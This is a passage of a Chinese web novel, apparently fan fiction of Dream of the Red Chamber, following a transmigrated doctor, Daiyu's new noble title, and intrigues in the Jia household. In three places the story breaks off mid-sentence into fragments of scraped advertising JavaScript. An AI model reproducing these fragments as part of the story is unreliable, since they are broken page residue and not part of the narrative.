皇后一愣,“你母亲是女子,给爵位,当然该给你哥哥了。” 为人母的,做什么不都是为了子女?能给儿子挣下一个爵位,这不就是对一个母亲最大的保障?最好的报酬? 康姐儿不懂这里面的弯弯绕,脆生生道:“让母亲辛苦给哥哥挣爵位,哥哥会不好意思的。娘娘,请您和陛下直接把爵位给母亲吧。” 皇后忍不住笑了,一边道康姐儿可爱,一边又去看白露。 白露却拉着黛玉,认真跪下请求道:“娘娘母仪天下,民妇敬仰,娘娘所托亦是民妇所想。 爵位一事,本万不敢受,只是求娘娘看在小妹和小女幼失双亲,孤弱可怜的份上,多多怜悯,民妇感激不尽,必当不负娘娘所托!” 12. 紫鹃狠手摧旧帕 皇后娘娘果然不是一般的大方。 白露人还才上马车,皇宫里的旨意就已经长着翅膀飞到了家里。 一条街上的邻居全被惊动。白露应酬往来,好不容易送走了众人,还要应付魏妈妈。 “太太这般能为,怎么就没想到为哥儿求个爵位?”这一天忙下来,魏妈妈心里又是欢喜又是惋惜,“姐儿仰仗着太太得了个县主爵位,虽是求都求不来的好事,可这爵位要是给哥儿,便是个最低等的男爵,咱家今后也有靠了呀……” 白露就知道,这人的欲望哪里有满足的时候。 倒是安哥儿主动止住了魏妈妈的话头,“奶妈慎言。君恩浩荡,阖家正该感激涕零,岂有多加置喙的道理? 更何况是太太应了皇后娘娘的差事,献了家传的医术才给妹妹换了赏。太太照应妹妹已让儿感激不尽,至于其他,我自幼读书,也知道‘自立’两个字如何写就。” 小小的人说起话来却是头头是道。魏妈妈自知失言,忙向白露请罪,“太太,是我一时脑子发晕了……” “你也是心心念念着两个孩子。”白露示意兰叶和秋桂扶她起来。 等两个小的各自去睡了,白露才招呼魏妈妈道:“我难道不知道家里日后还是要靠安哥儿有出息才能撑得起来?只是妈妈想想,若果真只为我应承皇家差事,献上医术教几个女大夫,就大张旗鼓地给安哥儿求个爵位,你让太医院里经年的老太医们怎么想?让朝堂上老大人们怎么想? 咱们家如今比不得别人,没什么帮手,帽子太大反招了人的眼。再说安哥儿小小年纪,正是该专心读书的时候,有了爵位反容易害他犯懒,远的不说,就说咱们知道的那些有爵位的人家……便是妈妈你当日回来不也还摇头吗?如今这般便好,日后徐徐图之,你说呢?” 这般推心置腹,魏妈妈一听,心里便也明白了,“是我糊涂,果然太太眼明心亮,家里一切都还要靠太太才是。就是玉姐儿,太太前脚为玉姐儿求了爵位,后脚那府里就来把人接走了,太太辛苦这一通,倒像是为他们挣脸一样。” 白露也不高兴,可有什么办法呢,如今贾家是她对付得了的? “先这样吧,且容他们再得意几天。” 得意,怎么能不得意? 家里先是出了个贵妃,如今又封了个县主,这不是荣宠是什么? 鞭炮都放起来!席面也摆起来! 把县主娘娘请出来,一会子老王妃老诰命们就要来见人送礼来了! 热热闹闹,黛玉不甚其扰。贾家连着兴兴了三天,才把这股子兴奋劲消了下去。 潇湘馆里,黛玉蹙着眉头躺在床上,手有一搭没一搭地拍着心口。 一边打扇子的紫鹃看着难免心疼,“姑娘这几日受累了……” 虽出去了几天,可她不聋不瞎更不傻。留在园子里看屋子的几个妈妈一早把府里这几天的热闹说给了她听,让她缓着些给姑娘说。 说,有什么好说的!宝玉那个作祸的,果然三天两头就要闹出些事端来。 趁黛玉闭着眼睛,紫鹃脸一垮,就差没翻个白眼了。 然而黛玉自己也问:“这几日忙叨叨的,跟在老太太、太太身边也没能好好说话。府里一切可好?园子里姐妹们都好?宝玉如何?” 紫鹃轻声说一切都好着呢,“姑娘身上不爽快,多顾忌自己才是,也少操些闲心。” 说完紫鹃继续在心底痛骂宝玉。从前为了个秦家小哥闹出一堆事来不算,如今更是跟外面唱戏的有了瓜葛,还惹上了忠顺王府。外头外头不消停,家里头更是不安生,爱吃丫头们嘴上胭脂就已经够荒唐了,竟然还害得金钏儿…… 老太太和太太倒是把消息瞒得紧,一丝风也没漏到园子里来。袭人倒是聪明,可满心满眼都是宝玉,便是知道些什么,自然也是瞒着她们的。 呸! 紫鹃在心里恶狠狠唾了一声,要不是陪姑娘出了这园子一趟,她却不知道宝玉背着人竟是那样的货色! 偏偏姑娘不知道他本性,又最记挂他,“端午虽过了,可你和嫂嫂身边两个姐姐包的香包还得用,你记得叫人拿两个给宝玉去,就选大红的。” 见黛玉送个香包都还要记挂着送大红的给宝玉,紫娟心里越发为她不值得。 要不然林家两个姐姐提醒得及时,如今宝玉有了那般名声,外面往来的又是一丘之貉,若这园子里的事露出去一星半点的,她们姑娘还不知道要被那起子小人说成什么样。 到时候大家干脆一起别活了! 而且不是为了压下宝玉传出去的风流事,老太太和太太又怎么会不顾姑娘打小身子弱,硬是借着庆贺的由头让姑娘连撑着几日出去见客? 这下倒好,累倒了姑娘,就为了不让外面风言风语只盯着宝玉呢。 “知道了。”紫鹃硬邦邦地回了一句,怕黛玉听出自己口气不对,又赶紧缓下声音,“姑娘安心睡一会子吧。” “嗯。”黛玉翻了个身,“是累得很,若是宝玉来,你拦着他,叫他先别闹我。” “哎。”紫娟在心里冷笑,那宝二爷这几日且没工夫来闹人呢。 宝玉确实被打得下不了床。可他虽然身子动不了,嘴却没有哑巴,一连声地“哎哟哎哟”使唤着人,可怕得很呢。 这边送走了宝钗,那边见袭人不在,就扯着嗓子喊晴雯,“这几日家里闹哄哄的,必是吵到林妹妹了。好如今消停下来,你替我去潇湘馆瞧瞧,看看她在做什么?身子爽不爽利?想来是累着了,你拿了我新得的书去给林妹妹解闷。还有今儿周大娘送来的点心,也给林妹妹送去。对了,那两方帕子也带上。” 晴雯抱着一堆东西到了潇湘馆,却在门口就被拦了下来。 “嘘!”紫鹃笑吟吟地,“我们姑娘胸口闷得慌,好容易才眯一会儿呢。”她偏不让晴雯进黛玉的屋子乱晃,只拉着她去自己那喝茶。 林姑娘自来身子不好,不舒服了不愿见人也是常有的事。晴雯没有多想,喝了茶就拿紫鹃的话回去说给宝玉听。 看着晴雯走远,紫鹃冷笑一声,转身就把点心散给了几个妈妈,妈妈们见多了妖魔鬼怪,不怕这点糖衣炮弹。 书倒是该收起来,至于帕子……紫鹃左右瞧瞧没人,立时抽出剪子来一口气搅得稀巴烂,然后偷偷点了灯,干脆烧了了事! 就是不知道为什么,那帕子烧着烧着,火却起不来,仿佛沾湿了水一样变得湿哒哒的。 “古怪东西!”紫鹃心里越发觉得这就是害人的家伙什,心里虽有些怕,可到底 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 火气上头,“就不信还治不了你们!” 她翻出火盆,干脆把烂帕子丢到柴堆里。大火一下子燃起来,烂帕子发黑打卷,转眼就变成了灰。 黛玉人在床上,一开始还皱着眉睡不安稳,可这火一燃,却忽觉心里一松,慢慢放缓了呼吸。 …… 几日大摆筵席,迎来送往。如今消停了,整个荣国公府上上下下好似都一起懒了下来一样。 王夫人歪在炕上,心里静静思索着。 才听了袭人一番话,她心里大为惊诧。虽然袭人口中宝玉并没有跟园子里姑娘们做出什么事来,可自己生的孽障,她哪里能不清楚宝玉心里想的什么。 黛玉是好,老太太心疼她,家里姊妹也跟她好,便是自己这个做舅母的,心里也是觉得她好的。 可林家没什么人了,便是有个能干的选房嫂子,看着也疼黛玉,可究竟不是站在朝堂上的男人,顶不了大用。再说黛玉身子又那样弱,性子偏生又娇气,时常要宝玉哄着。 所以便是老太太有意,她也是不看好黛玉许给宝玉的。 偏偏黛玉又封了县主,这可是正儿八经的爵位,按制属亲王之女,每年俸禄贡米就不说了,论品级正二品,比如今老太太身上的国公夫人诰命也差不了多远,比起自己的五品官太太诰命就更强出多少去。 如今,这该如何取舍呢? 王夫人拿不定主意,但想来想去,黛玉的婚事绕不过老太太。 “媳妇愚钝,万事都还请老太太拿个主意。前儿史大姑娘来,说是已经定了人家了。黛玉年纪跟史大姑娘差不多,要是老太太有想法,如今该相看的也该相看了。” 贾母哪里能不知道王夫人的主意? 之前瞧不上黛玉,打量着让薛家姑娘进门。这样凤哥儿手里的管家权正好交到宝二奶奶手里,照样绕过珠儿媳妇,跑不出她的手掌心。 可如今黛玉得了皇后娘娘喜欢,便觉得黛玉可用,可为宝玉助力,便又有些舍不得这便宜了。 贾母叹了口气,“我知道你满心里疼的都是宝玉,你如今就这一个命根子,自然该为他好好打算。” 王夫人正面色惶恐准备说话,贾母摆摆手打断她,“可你总不能指望宝玉把什么便宜都占尽了。” 她一一掰着手指头数:“如今家里满打满算就只有三个姑娘。娘娘那里,该说不说,也该备着人进去伺候。我知道你属意三丫头,这边罢了。四丫头又还小,能指望的就是二丫头。 可咱们家毕竟是武将人家,大老爷便是有爵位,可究竟不如当年了。再想给二丫头找一个林姑爷那样的,人家未必瞧得上咱们家的门第。索性如今还有黛玉,可怜见的,虽没了父母,到底陛下娘娘怜悯,有个爵位,以后林姑爷同僚故旧人家里,许是能寻门好亲事。” 王夫人连连点头,“都听老太太的,那宝玉……” 宝玉就算不跟黛玉一对儿,贾母也是瞧不上薛家的。倒回去几十年还好,可如今薛家还剩什么? “宝玉年纪还小,日后有个功名,再慢慢相看也不迟。” “是……” 两人说话时,鸳鸯就在门口守着。 她听了一耳朵有的没的,心里叹了一声:就是可怜了宝姑娘,如今又该怎样呢? 13. 潇湘馆黛玉教书 白露变得忙了起来。从前虽然也要隔三差五地出门看诊,可如今正式接下了皇后娘娘的差事,再找她的就不止口口相传的文官太太们了。 如今京城里达官贵人家中,家眷谁有个头疼脑热的,一想起来都会差人来请白露。搞得她一天到晚不是在扎针,就是在去给人扎针的路上。 “太太这也太辛苦了。”兰叶和秋桂看着白露一天到晚风尘仆仆,应付了东家,又要赶去西家;这边的事情还没完,那边催人的又赶了过来,便忍不住心疼。 “也是。”白露想了想,“别看如今大半天都飘在外头,真正看的却只有那么几个人,其余时间不是在路上,就是在应付问东问西的太太小姐奶妈丫头们。” 兰叶就出主意,“要不,太太也学那些郎中一样盘个铺子?若有人想求医,叫她们自己上门来;除了实在下不了床的,谁也别想劳动太太亲自去。” 秋桂觉得好,“再招几个小丫头,让她们一边跟着太太学,一边打下手。这样既不辜负了皇后娘娘的嘱托,太太也能省些麻烦。” “这倒是个好主意。”白露捏捏手腕,“我也就是太心软,人家打发个人来吱一声就巴巴送上门去,倒是惯得有些人越发得寸进尺了。” 白露说干就干,立刻叫管家去物色铺子,又让赵妈妈去城里人牙子手里看看有没有聪明伶俐,或者老实能干活的小姑娘。 “若是有,不拘多少钱先带回来。跟着咱们学习医术,便是以后辛苦些,也总好过流落到脏地方去。” 管家和赵妈妈办事利索,小半个月后就给白露收拾好了铺子。或者说,叫小诊所更合适。 “原是一处朝中老大人的宅子。”管家同他解释,“恰好这老大人告老还乡,便打算将这宅子出手。我心里细想,夫人既是给女子看病,铺子开在闹市里总归有些不妥,倒不如辟一处僻静小院来得合适。况且这里离家里又近,达官贵人们也多,住在附近,岂不是两厢方便。” “不错,不错。”白露大赞管家,“还是你想得周到。” 管家办事得力,心中自然高兴。赵妈妈看他出了风头,自然也不甘落后。 “这几个女孩子都老实听话能吃苦,我同他们细细说了夫人的慈悲,她们都发誓要好好同夫人学医术。”赵嬷嬷说着又拉过另外三个妇人,“这三人年纪虽大了些,恐学不进去,可医馆里总需要些洒扫人手,再有就是准备饭食,我便自作主张将她们也买了来。” “好,赵妈妈真是体贴。”白露点点头,“既然来了,便安安心心留下,治病救人,这是积德行善的好事,以后自有你们的好报。” 都是被家里人卖出来的,在哪不是为奴为婢?如今能进这医馆,能跟这个这么和善的主子,还能学点本事,简直是梦里才有的美事。 几个人认真发誓,以后一定认真听话,努力干活,绝不辜负太太的期望! 非常有干劲,白露也摩拳擦掌,准备好好传道授业。 然而第一步就卡在了原地——这些女孩子竟然一个字都不认得!虽然系统自带教学课件,可想教她们认学位,还得先教她们认字! 白露哪有那么多时间来给小女孩们扫盲,但办法总比困难多。更何况她穿的可是红楼,虽不像其他小说里腹黑帝王风流王爷冷面战神一抓一大把,可红楼自有楼情在。 那大观园里的姐姐妹妹们谁不是满腹才华?带小女孩们学几个字,岂不是手到擒来绰绰有余? 虽然别的姐姐妹妹还不熟悉,可这不是还有黛玉?白露越想越觉得这简直是个一举两得的好机会。 黛玉有咏絮之才,更难能可贵的是心若琉璃,只要有人请教,她是不论身份也愿意细心指点的。 而且正好也给黛玉找点事情做,有这么一桩事牵绊她的心神,省得每天被宝玉缠着。 事关重大,白露亲自上门询问黛玉能不能帮这个忙。 “嫂嫂放心便是。”黛玉想也不想就答应下来,“我这潇湘馆可不正是读书的好地方?” “你也不要太辛苦自己。”见黛玉这样认真,白露又担心她一时呕心沥血,反而更坏了身子,“我只求几个女孩子能看懂医书便罢了,不是想让她们个个都像你一样成大才女的。” 既然黛玉答应帮忙,白露又去找了凤姐。跟凤姐通过气后,她才拉着人去拜见贾母和王夫人。毕竟潇湘馆还是人家的地盘,怎么样也该有主人家点头。 贾母和王夫人一听俱是诧异,两人对视一眼,怎么也没想到自家养的姑娘竟然还能当起先生来了。 这时候凤姐又出来插科打诨,一边奉承贾母教养黛玉教养得好,一边又扯着虎皮当大旗,说这既是皇后娘娘的差事,又能给宫里贵妃脸上增光,再传出去,对她们府里和府里女孩的名声也是极好的。 “正是此理。”贾母和王夫人连忙笑着答应了,说完又夸白露能干,又说些亲戚之间缘该守望相助的话,末了催她明日就把几个女孩子都送来,还表示黛玉身子弱些,不敢劳累太过,正好园子里还有她几个姊妹,都是知书达理,也能一并帮忙。 “这是好事啊,娘娘知道了,必然要夸府上姑娘们的。”白露哪里不知道贾母和王夫人的心思,但既然对女孩子们都好,她又何乐而不为? 于是事情就这么定了下来。 白露原本的安排是每天上午就让医馆里的女孩子们去贾家园子里跟着黛玉启蒙,下午安安静静学写字,晚饭前就回医馆,以后时间自己安排,只要安安生生不出去乱跑就行。 可赵妈妈不放心,她去过几次潇湘馆,几乎回回都撞上那位无事忙的宝二爷。再说这位爷如今私底下的风评可是大大的坏了,她是生怕几个小丫头去了那园子里被这二爷看上,私底下被抓去吃嘴上的胭脂。 赵妈妈把心里的担忧给白露那么一说,白露顿时哈哈大笑。就连一边帮忙誊抄看诊记录的兰叶和秋桂也笑得笔都拿不稳了。 “哎,我说的可是实话!那宝二爷倒是生了副好皮囊,小姑娘们不经事,一个不留神就被他哄骗了去。到时候咱们岂不是鸡飞蛋打,白便宜了他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !” “好好,知道了,知道了。”白露拿着帕子擦了眼泪,“是得想个办法。赵妈妈,若不然,你就去医馆里当女管事?好,便这么说定了。正好医馆里大大小小事情也该有个人总揽。 如今咱们一天放的号不多,接诊的人还少,你老人家趁着有空,便多看顾那些女孩子些。慢慢地再添些人手,以后寻个靠谱的妈妈陪着女孩子们,免得她们搞不清贾家的情况。” 从后院采买到医馆管事,这也算是升职了。让妈妈心里一喜,“太太这是信我,可家里……” 白露指着兰叶和秋桂,“家里就几个女人,先让兰叶和秋桂支应着,你老人家最近辛苦,多提点提点她们。” 哎哟!那她们也升职啦! 兰叶和秋桂也很高兴,一时所有人都喜气洋洋。 第二日贾母和王夫人见了医馆里几个女孩子,看她们秀秀气气,言行举止也不失分寸,便知道不是那等轻狂惹事的,于是放心让凤姐带她们到园子里去。 黛玉早就备好了早年家里带来的启蒙书册和纸笔。等女孩子们一到,彼此见过后,也不多说其他,先教每个人写自己的名字。 有名字的自然欢喜,没名字的也无事。 黛玉笑着给她们出主意:“嫂嫂的名是源自节气,你们是她的弟子,自然不好与她同辈。不若从药材里取一个?白术、白芷、白薇、白蒿,既有个出处,又集天地精华,也是一桩雅事。” 几个女孩子听了连连叫好,于是便是有名字的也不要从前的名字了,大家约好取新名,以后就是同门师姐妹。 潇湘馆里难得这么一片欢声笑语,听得门外的宝玉心痒难耐,左看右看,就想急着进去一睹几个女孩子们和林妹妹教书的风采。 只是紫鹃才不惯他,带着妈妈们把门挡得严严实实。 任凭宝玉好话说尽,她自岿然不动,使了个眼色给雪雁,雪雁便道:“二爷,我们姑娘有事忙着呢。更何况这又不是寻常姑娘们闹着玩儿,这是姑娘帮着族里太太应承皇后娘娘的差事。便是老太太、太太也说了不叫人打搅。” 余光里瞥见袭人来了,紫鹃心里暗笑,一抬手就把宝玉推了个趔趄,“瞧瞧谁来了,有这功夫在门口晒着,还不赶快家去?一会子晒坏了,心疼的可不是我们。” 袭人才提了月钱,这几日明里暗里,怡红院里院外没少被人打趣。可偏偏太太只说提她月钱,又没有正经发话抬她做姨娘,于是这打趣听在耳里,便不是多心人也忍不住尝出几分讥诮,仿佛笑她奔着太太使劲,结果却是这么倒上不下的尴尬人。 只是袭人素来好涵养,且紫鹃这话细究起来,好像也跟平常大家的玩笑话没什么两样,她于是也只打了个招呼便劝宝玉回去。 见宝玉果然走了,紫鹃这才拉着雪雁摔了帘子进屋,“果真是个贤惠人,却不知以后哪去找个更贤惠的才配做她奶奶。” 有事没事的,还在背后嚼咕起姑娘不爱做针线来了。自己做事不干净,眼睛里却光盯着别人,什么人啊! 14. 大观园人心难测 黛玉要教女孩子们读书。贾家其他三个姑娘一开始还当新闻闲聊,可过了一天贾母便特意差人叫了她们去,细细吩咐道:“黛玉得了皇后娘娘亲眼,这事自然义不容辞。可你们姐妹几个打小一块儿长大,有什么事也该彼此分担。否则传出去,外头的人还不知道怎么说咱们家。” 迎春低头答应了,惜春又小,巴巴看着两个姐姐,于是只有探春出来拿主意。 探春就说了:“林姐姐一人日日教书,便是只教几个小丫头也是辛苦的。不说费心神,那嗓子如何受得住?既然老太太发话了,我们便问问林姐姐的意思,若是行,我们姊妹三个跟在她后头,一人替她一天,叫大家能休息休息,如何?” 迎春照常没意见,探春如何说,她就如何点头就是了。惜春也拍手,她平日里跟小姑子玩,这几日家里无事,小姑子们也不进园子里来。她闲得无聊,知道如今几个学医的小丫头好些跟她年纪相仿,早就想找人说说话了。 “好,既然二姐姐和四妹妹都没意见,那我就先去问问林姐姐的意思。”探春做事从不拖拉,说走就带着丫头走了。 惜春还有半幅画没画完,也跟着告辞。等人都走了,迎春身边的大丫头司棋才说:“林姑娘有族里嫂子拨拉,出趟门就进了宫,半上午工夫就成了县主娘娘,如今里里外外谁不高看她?姑娘倒是好心,人家还没发话就着急忙慌地心疼起人来了。也不想想,别人办的是皇后娘娘的差事,办得好办得坏,那皇后娘娘都只认她,姑娘辛苦一场,倒能落几个好? 有这闲心,还不如多去讨老太太、大太太和二奶奶的喜欢,人史家大姑娘比姑娘还小两岁呢,如今也是定了好亲事,姑娘这个年纪了,前程在哪里却还不知道呢!” 迎春打小就是个不争不抢的性子,别人说什么是什么,给什么接什么。别说家里下人背地里欺负笑话,便是头上正经长辈,也多不把她放在眼里。 果然,司棋这般说了,她也只是闲闲地翻出书里的书来,摆摆手道:“老太太都发了话,再说,林姐姐也不是外人。至于亲事,自有老太太她们做主,哪有你我操心的余地。” 司棋一听这话气就不打一处来,她打小跟这不叫人省心的主子一起长大,情分自然不比旁人。于是日日记挂着她,怕她被人欺负了去,更恨不得事事替想在她前头。 只是迎春话也没错,老太太的吩咐,谁还能辞了不成?女儿家的婚事不听长辈做主,还能私定了终身不成? “由得姑娘去!”司棋转身就走。出了屋子还能听见她在叫小丫头们,“姑娘前儿新做的那身翠竹白梅细绸衣裳在哪?还有那套绿玉的头面,找出来准备好,说不得姑娘明儿就要去教书,到时候穿正好……” 才准备完,探春身边的侍书便去而复返。别看司棋刚才嘴里还抱怨连天,这会儿一见侍书又急着迎上去,问林姑娘那儿怎么说。 “林姑娘说好,说谢谢咱们姑娘和二姑娘还有四姑娘呢。只是问到时候林家太太派的几个小丫头来了,还去潇湘馆还是直接来二姑娘这里?我们姑娘让人直接去我们那,紫鹃去问四姑娘了,我就说我来问问二姑娘的意思。” 司棋就拉着侍书去问迎春,迎春想了想,“既是想叫林妹妹也能休息休息,便不好再让一窝子人去她那里吵她,让小丫头们直接来我这里就是。” 送走侍书,司棋更是忙了起来,又要张罗收拾地方准备笔墨纸砚,又要催自家姑娘别看闲书了,抓紧时间备课才是。一时间气势大盛,心里憋着气要让人瞧瞧她们姑娘的厉害! 大观园里,几个姑娘就这样轮流忙了起来。 宝玉前一天还被紫鹃拦在门外,今天知道了教书的差事该迎春,早饭也不吃就急着要出门。 “哎,宝玉!”袭人一脸不放心,跟着就出了门去。 剩下秋纹几个看了就吃吃的笑,晴雯把筷子一摔转身就走,秋纹一撇嘴就冷哼,“一大清早,一个二个的。” 麝月就拉她,“少说两句吧。” “你如今也是贤惠起来了。”秋纹袖子一甩也要出门,“都打量谁是傻子呢!” 几个大丫头各自散了,怡红院里看屋子的小丫头佳蕙收拾了碗筷,趁着得闲找到还说得上话的小红,一见面就跟她抱怨:“你当日说什么千里搭长棚,没有不散的宴席,我还只当你发昏,却不知道你才是真真聪明人。” 小红一见她这样,便知道怡红院里又有故事,“这是怎么了?好端端的跑来又说这些话。” “如今院子里是不比从前了。晴雯几个脾气是见天地涨,话句话便恼,看不顺眼了便骂,伺候她们几个,倒还得比伺候宝玉更小心! 早上不知道是哪根筋没搭对,出门撞上檀云,张嘴就把人训一顿,训得檀云回屋子便哭。哪天真惹急了我们,干脆痛快闹上一场,叫那起子人看看自己到底几斤几两。” 小红安慰了佳蕙两句,等人走了又被凤姐叫去,“刚才恍惚看见怡红院里的丫头来找你?是宝玉那里有什么事?” “没事,就是得了闲,来说两句话。” 凤姐便摆摆手,回过头又跟平儿说话:“小孩子们年纪大了,从前没有的心思如今也有了。怡红院里几个大丫头各个都是厉害的,眼下先显出了一个袭人,其他几个便坐不住,打量起自己的前程来了。” 可丫头能有什么前程? 小丫头熬成大丫头,大丫头年纪大了不是拉出去配小子,就是被看重做了爷们房里人。 说句大逆不道的,平儿她宁愿一辈子不要男人,一个人清清静静地才好。 凤姐如今说起这事,平儿心里便格外不是滋味,可有些事还是得说:“奶奶既然心里明白,可有什么法子没有?如今倒还没什么,便是过后真闹起来,几个丫头为着主子争风吃醋也不是什么大事。要紧的是园子里还住着宝姑娘和林姑娘,另外大奶奶又是宝二爷的嫂子,还有个史大姑娘,隔三差五地也要来小住几日。” “你倒是提醒我了!”凤姐噌的一下从椅子上站起来,“老太太、太太总觉得宝玉还是个孩子,疼他宠他比兰小子都盛。自打老爷锤了他一顿,更是纵得他一天到晚呆在园子里头不出来。可说正经的,宝玉都有准姨娘的人,到底不小了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正是这个话。 平儿趁热打铁又道:“不敢满奶奶,这是老太太、太太还没注意,可已经招了有心人的眼了。林家太太遣了赵妈妈陪着小丫头们上咱们家来,那赵妈妈昨日特地又来找了我,别的不说,只说她家哥儿打小就在家里读书,出了孝,不管刮风下雨,必是日日都要出门求学。我心里寻思,这不是说她们林家哥儿,是点咱们家宝玉呢!” “当真?”凤姐吃了一惊,转眼便反应过来,“是了是了。林家是读书人家,避讳自然比咱们这样的武将人家多些。更何况她家那哥儿不满十岁便如此勤勉,瞧不惯宝玉那做派也是有的。” 凤姐在屋子里转了两圈,“如今人家是皇后娘娘眼里的红人,跟京城里各家太太没有谁关系不好的。咱们家门第虽好,可说不得日后几个姑娘的婚事还要靠到她头上。这事不是小事,我这就见太太去。” 凤姐风风火火找到王夫人。王夫人一听凤姐的意思,忙抓住凤姐的手,“好孩子,你果真有心了!你这话便是当日袭人同我说的话,我近来也在想着,是该叫宝玉搬出园子了。 可搬出去,便少不了到了老爷眼皮子底下,到了老爷眼皮子底下,那混账说不定又要闹出什么事端被老爷收拾。你也知道老太太自来疼宝玉,要是宝玉真被老爷吓出个什么好歹来,老太太岂肯依?” 凤姐脑子一向转得快,王夫人这么一说,凤姐便开口笑道:“太太是担心宝兄弟又跟老太太撒娇呢。这倒是无妨,前儿端午出去打醮,张道士不是还跟宝兄弟提亲。当时老太太虽不允,可说到底,那史家大姑娘比宝兄弟还要小些,如今都定了人家。宝兄弟便是不着急成亲,也该相看起来了,这既然都相看起来了,便没有再跟姊妹们一起混住着的道理,要不然说出去,那些太太们都把宝兄弟还当个孩子,谁愿意把家里女孩嫁给他?到时候太太只管跟老太太这么一提,便是老太太也不好再拦着宝兄弟不让搬出来。” “我的儿,难为你心思这样巧。”王夫人感动得跟什么似的,“既如此,我便这么跟老太太说去。只是宝玉相看人家的事也不着急,左右得找个好姑娘,要不然老太太也不能点头。” 凤姐方才话一出口心里就是一咯噔。这宝玉要是娶了媳妇,二房有了正经二奶奶,岂不就用不着她这个隔了房的琏二奶奶替叔叔婶婶当家了? 正懊恼自己嘴快,却听见王夫人又这么一说,凤姐这才心下稍安,“给宝兄弟娶媳妇自然是马虎不得的,太太说得在理,是该慢慢相看才是。” 辞了王夫人,凤姐走着走着,又换了个想法。她悄悄对平儿道:“我虽当了几年家,可到底没什么意思。如今比不得老太太、太太年轻的时候,裁月钱都已经裁到姨娘们的丫头身上了,说不得什么时候就轮到了你们。家里这么个情形,倒不如趁机丢开手去,你说呢?” “阿弥陀佛。”平儿拍拍胸口小声道,“奶奶早该如此了。白白操那么多心,找机会清闲下来,请林太太调理调理身子才是正经。” “倒也是。”凤姐眼珠一转,“我如今可是替她办了件大事,她该拿出点诚意谢我了。” 15. 凤姐巧试木石同盟 街面上的医馆日日开门,宫里太医院的太医除了沐休之日,更是风雨无阻地要去上班。 而尽管才打了不到十年工,但白露早就恨上了当牛做马的日子。如今开了医馆,可自己才是老大,于是白露在做一休一和做四休三之间纠结片刻后,大手一挥,定下还是做四休三好了。 “也是为了平衡工作和家庭。”这是白露给出的官方理由,听到的人也纷纷点头,都说她带着两个孩子还这般勤勉,皇后娘娘果真没有看错人。 至于私底下的理由,当然是因为白露觉得休息一天多没意思,还是一口气拉通了在家里玩三天更爽! 凤姐就是寻着白露在家休息的时候上门的。 “如今你也是大忙人了,倒是比我家里几个老爷还要劳累些。趁着你今儿得空,我说干脆把你侄女带来让你瞧瞧。我们家里也没别的小姑娘,正好让她跟你家康姐儿做个伴儿。” 其实如今巧姐还在上幼儿园的年纪,而康姐儿都已经是资深小学生了。不过两个小女孩性格都好,多说两句话,熟悉熟悉也能玩到一起去。 白露让魏妈妈看着她们两个在院子里玩,自己在屋子里招待凤姐。 “说吧,我的好二奶奶,你是个无事不登三宝殿的,今儿顶着大太阳跑一趟,是有事情找我了?” “果真是个伶俐人,什么都瞒不过你。”凤姐言谈爽快,一点不扭扭捏捏,“我这身上最近总觉得不痛快,本是想去你那医馆里取号,可我偏想着咱们是什么情分,要是像外人那样巴巴等着,知道的说咱们守礼,那不知道的还以为咱们两家多生分似的。” “哼!”白露点点凤姐就拉她去里间躺着。知道平儿总归跟凤姐是一条心,于是白露有什么说什么,也不避着。 “你出生好,长得俊,又有口才,又有手腕,又有能为,全天下女儿家拢在一起,你也要拔个头筹。”白露夸凤姐的话是真心话。 别看凤姐只是在内院管家。可不说荣国公府里一天到晚里里外外千头百绪的事情,她都能理得清清楚楚一点不出纰漏;就说府里大大小小的主子下人上百号人,个个长了一肚子心眼儿,她却能摸清这些人的肚肠,处理好纷繁复杂的人际关系,让人各司其职,而不至于一窝蜂乱起来,就已经是极强的管理人才了。 可是这样辛苦操劳,为贾家筹谋一番,最后又落得个什么好呢? 孩子流产了一个,自己身子也破败了,丈夫提前娶好了二房就等着她死,嫁妆被当得个七七八八,填了贾家的坑却填不满人心不足蛇吞象,最后力拙失人心,草草收场,竟也只能靠着平儿和早年与刘姥姥结下的一番善缘才能保住可怜的女儿。 结局如此凄凉惨淡,白露却不能透露,只好边拿出针替凤姐调理身体,边道:“你如今还年轻力壮,所以只觉得有那么一点不爽快,却不知道这就是埋下病根了。再不小心保养,过几年一起发作起来,谁知道到时候有没有道士和尚特意用你家那宝玉来救你。” 凤姐原本只是想找个借口出门,顺便松缓松缓,却没料到白露竟然如此认真,心下顿时一惊,“此话当真?” “别说我们关系好,就是关系不好,我个大夫,也见不得人这么糟蹋自己的。”白露把凤姐按回榻上,拿针往她身上狠狠一,扎得凤姐大大哎呦一声。 “痛?痛就对了,你看你,血瘀体内,巧姐都这么大了,你这身子竟然还没有保养回来。” 平儿就在一边扯着帕子着急,“不瞒太太知道,我们奶奶打小就是争强好胜,到了贾家,老太太和太太疼她,把家里事情都托付给她,她便是一百二十个上心,才出了月子就继续管事,一年到头也只有躺在床上病得起不来的时候能少操些心。从前我也服我们奶奶厉害,今儿听了太太一席话才知道奶奶的身子竟已经亏损到了这个地步,奶奶跟我们奶奶好一场,千万要劝劝她才是。” 一段话里不知道说了多少个太太奶奶,白露差点眼前一黑,可算知道小红的厉害之处了。 “我是要劝,可我劝了也要有人听才是。”白露说着就换了一根更粗更长的针,凤姐晃眼一看,吓得赶紧招手叫平儿。 可白露拦着平儿不让他过去,“现在叫平儿有什么用,往日她怕是也没少劝你保重身体,你不听她的话,如今就该受罪。” 小半个时辰下来,白露差点没把凤姐扎得哭爹喊娘。 好不容易结束疗程,凤姐一边拿着帕子按着眼角,一边露出惨兮兮的模样,“好姐姐,我知道教训了。可家里大嫂子只顾照看姑娘们,我却是被老太太和太太架上了高台。你劝我少操些心,我倒也想什么时候宝玉成亲了,家里有了宝二奶奶,能把这摊子事接过去呢,说起来我毕竟是大房里的,跟着太太管家,到底名不正言不顺。” 这话倒是让白露小吃一惊。 原书里直到探春改革的时候,凤姐才说过类似趁探春接手她慢慢脱离出来的话,却没想到如今还早,凤姐就已经想撂下贾府一大摊子了。 凤姐是管家人,家里什么情况不知道,她如今都有了这样的想法,可见贾府虽才出了个贵妃,看似圣眷正浓,可却真如冷子兴所说一般,是江河日下了。 不过贾家其实也不关她什么事啊。 倒是凤姐话里透露出,想要宝玉早日成亲的意思让白露格外注意。 